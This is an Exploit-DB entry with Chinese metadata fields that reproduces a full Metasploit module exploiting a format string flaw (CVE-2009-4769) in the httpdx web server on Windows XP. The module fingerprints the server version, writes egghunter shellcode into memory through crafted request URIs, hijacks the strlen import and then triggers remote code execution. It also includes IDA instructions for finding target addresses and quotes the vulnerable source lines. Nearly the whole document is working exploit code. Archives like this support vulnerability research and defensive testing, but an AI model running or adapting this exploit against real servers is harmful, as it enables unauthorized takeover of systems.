标题: httpdx - 'tolog()' Format String (Metasploit) (2) EDB-ID: 16794 CVE: 2009-4769 类型: REMOTE 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: ##
# $Id: httpdx_tolog_format.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Egghunter
 include Msf::Exploit::FormatString

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HTTPDX tolog() Function Format String Vulnerability',
   'Description'    => %q{
     This module exploits a format string vulnerability in HTTPDX HTTP server.
    By sending an specially crafted HTTP request containing format specifiers, an
    attacker can corrupt memory and execute arbitrary code.

    By default logging is off for HTTP, but enabled for the 'moderator' user
    via FTP.
   },
   'Author'         =>
    [
     'jduck'    # original discovery and metasploit module
    ],
   'Version'        => '$Revision: 10150 $',
   'References'     =>
    [
     [ 'CVE', '2009-4769' ],
     [ 'OSVDB', '60182' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process'
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     # format string max length
     'Space'    => 1024,
     'BadChars' => "\x00\x0a\x0d\x25\x2f\x3f\x5c",
     'DisableNops' =>  'True',
     'StackAdjustment'  => -1500
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     #
     # Automatic targeting via fingerprinting
     #
     [ 'Automatic Targeting', { 'auto' => true }  ],

     #
     # specific targets
     #
     [ 'httpdx 1.4 - Windows XP SP3 English',
      {
       'PadBytes'  => 2,
       'NumPops'  => 22,
       'Writable'  => 0x64f87810,  # empty space in core.dll imports
       'FlowHook' => 0x64f870e8  # core.dll import for strlen
      }
     ],
     [ 'httpdx 1.4.5 - Windows XP SP3 English',
      {
       'PadBytes'  => 2,
       'NumPops'  => 22,
       'Writable'  => 0x64f87810,  # empty space in core.dll imports
       'FlowHook' => 0x64f870e8  # core.dll import for strlen
      }
     ],
     [ 'httpdx 1.4.6 - Windows XP SP3 English',
      {
       'PadBytes'  => 2,
       'NumPops'  => 22,
       'Writable'  => 0x64f87810,  # empty space in core.dll imports
       'FlowHook' => 0x64f870e8  # core.dll import for strlen
      }
     ],
     [ 'httpdx 1.4.6b - Windows XP SP3 English',
      {
       'PadBytes'  => 2,
       'NumPops'  => 22,
       'Writable'  => 0x64f87810,  # empty space in core.dll imports
       'FlowHook' => 0x64f870e8  # core.dll import for strlen
      }
      ],
     [ 'httpdx 1.5 - Windows XP SP3 English',
      {
       'PadBytes'  => 2,
       'NumPops'  => 22,
       'Writable'  => 0x64f87810,  # empty space in core.dll imports
       'FlowHook' => 0x64f870e8  # core.dll import for strlen
      }
     ],

     #
     # Debugging target
     #
     [ 'Debug target',
      {
       'PadBytes'  => 2,
       'NumPops'   => 22,
       'Writable'  => 0xfeedfed5,
       'FlowHook'  => 0xdeadbeef
      }
     ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Nov 17 2009'))
=begin

NOTE: Even though all targets have the same addresses now, future targets may not.

To find a target:

1. open "core.dll" in IDA Pro
2. navigate to the "c_wildcmp" function
3. follow the xref to the first strlen
4. follow the xref to the imports area
5. copy/paste the address
6. the 'Writable' value should be anything after the last address IDA shows..
 (preferably something above 0x0d, to avoid bad chars)

If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
For now, that will have to be done manually.

=end
 end


 def check
  version = get_version
  if version
   print_status("HTTPDX version detected : #{version}")
   if (version =~ /1\.4/) or (version == "1.5")
    return Exploit::CheckCode::Vulnerable
   end
  end
  Exploit::CheckCode::Safe
 end


 def exploit

  # an empty host header gives us 512 bytes in the client structure
  # (the client->filereq and client->host buffers are adjacement in memory)
  datastore['VHOST'] = ''

  # Use a copy of the target
  mytarget = target

  if (target['auto'])
   mytarget = nil

   print_status("Automatically detecting the target...")

   version = get_version
   if not version
    raise RuntimeError, "The server doesn't appear to be running a vulnerable version of HTTPDX"
   end

   re = Regexp.new(Regexp.escape(version)+' - ', true)
   self.targets.each do |t|
    if (re.match(t.name))
     mytarget = t
     break
    end
   end

   if (not mytarget)
    raise RuntimeError, 'Unable to automatically detect exploitation parameters'
   end

   print_status("Selected Target: #{mytarget.name}")
  else
   print_status("Trying target #{mytarget.name}...")
  end

  # proceed with chosen target...

  # '<ip> [Tue, 17 Nov 2009 18:22:12 GMT] "<GET/POST> /'
  ip_length = Rex::Socket.source_address(datastore['RHOST']).length
  num_start = ip_length + 2 + 29 + 3 + 3 + 2

  # use the egghunter!
  eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

  # write shellcode to 'writable' (all at once)
  fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
  fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
  print_status(" payload format string buffer is #{fmtbuf.length} bytes")

  send_request_raw({ 'uri' => fmtbuf })

  # write 'writable' addr to flowhook (execute shellcode)
  # NOTE: the resulting two writes must be done at the same time
  fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)
  # add payload to the end
  fmtbuf << eh_egg
  fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
  print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")

  send_request_raw({ 'uri' => fmtbuf })
  disconnect

  # connect again to trigger shellcode
  select(nil, nil, nil, 1.5)
  print_status(" triggering shellcode now")
  print_status("Please be patient, the egg hunter may take a while...")
  connect

  handler
 end


 def get_version
  info = http_fingerprint # Custom version extraction / automatic target
  if info and (info =~ /httpdx\/(.*) \(Win32\)/)
   return $1
  end
  nil
 end

end


=begin

also present in 1.5 (presumably all versions in between)

1.4/httpdx_src/ftp.cpp:

   544      //printf(out);
   545      char af[MAX] = {0};
   546      if(isset(out) && client->serve.log || client->serve.debug)
   547          snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);
   548      if(isset(out) && client->serve.log)
   549          tolog(client->serve.accessl,af);
   550      if(isset(out) && client->serve.debug)
   551          printf(af);

1.4/httpdx_src/http.cpp:

   172      char af[MAX] = {0};
   173      if(client.serve.log || client.serve.debug)
   174          snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);
   175      if(client.serve.log)
   176          tolog(client.serve.accessl,af);
   177      if(client.serve.debug)
   178          printf(af);

=end URL: https://www.exploit-db.com/exploits/16794